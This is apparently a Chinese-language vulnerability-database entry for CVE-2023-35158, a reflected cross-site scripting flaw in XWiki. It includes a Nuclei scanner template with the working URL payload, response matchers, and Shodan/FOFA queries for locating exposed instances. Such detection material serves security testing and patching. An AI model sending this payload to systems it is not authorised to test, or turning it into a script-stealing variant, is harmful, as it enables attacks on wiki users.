CVE-2023-35158: XWiki - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: XWiki | POC: 已公开

漏洞描述

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It's possible to exploit the restore template to perform a XSS, e.g. by using URL such as: > /xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain). This vulnerability exists since XWiki 9.4-rc-1. The vulnerability has been patched in XWiki 14.10.5 and 15.1-rc-1.

PoC代码[已公开]

id: CVE-2023-35158

info:
  name: XWiki - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It's possible to exploit the restore template to perform a XSS, e.g. by using URL such as: > /xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain). This vulnerability exists since XWiki 9.4-rc-1. The vulnerability has been patched in XWiki 14.10.5 and 15.1-rc-1.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Update XWiki to the latest version to mitigate the Reflected XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35158
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-35158
    cwe-id: CWE-87
    epss-score: 0.07644
    epss-percentile: 0.91556
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: xwiki
    product: xwiki
    shodan-query:
      - "XWiki"
      - xwiki
      - http.html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain)"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "href=\"javascript:alert(document.domain)\">Cancel</a>")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a004830460221009f01b653d56e0f656b57e1749d82bb83cca0737faaa6e878bb8d9835a930c6b90221008dccc070338eb7fbdec6ade2c2a1e24d4d08ecc8b634711faf7c816d6fa3ca5d:922c64590222798bb761d5b6d8e72950

相关漏洞推荐